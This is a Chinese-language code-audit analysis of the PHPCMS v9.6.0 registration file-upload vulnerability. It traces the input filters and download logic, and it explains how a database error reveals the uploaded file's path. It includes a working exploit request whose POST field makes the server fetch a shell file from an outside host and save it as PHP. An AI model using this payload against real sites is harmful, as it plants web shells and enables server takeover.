PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问
常见的payload如下:
index.php?m=member&c=index&a=register&siteid=1
post数据:
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1
对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
经过new_html_special_chars函数的转换之后,new_html_special_chars函数位于phpcms/libs/functions/global.func.php中
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}
然后来到$member_input->get,
其位于caches/caches_model/caches_data/member_input.class.php
然后数据进入到 trim_script中,
函数位于phpcms/libs/functions/global.func.php中
function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );
$str = str_replace ( 'javascript:', 'javascript:', $str );
}
return $str;
}
继续往下跟,继续进入到一个安全过滤函数safe_replace之中:
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
然后走到:
而根据提示所致知我们需要进入到editor函数之中:
然后进入$this->attachment->download,
在下载之前会先被 new_stripslashes所过滤:
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
然后进入正则匹配:
匹配后会进行文件夹的设置等,最后进入 fillurl中:
最后的url变成了下面这样:
这也是为什么payload中要加.png和#的原因。下面继续走则会调用copy
而最后经过add实现文件写入:
然后回到注册函数中,会进行插入操作:
也就是向v9_member_detail的content和userid两列插入数据,而由因为表中没有content列,则会出现报错将shell的路径返回给我们。
参考文章:
https://paper.seebug.org/273/
https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md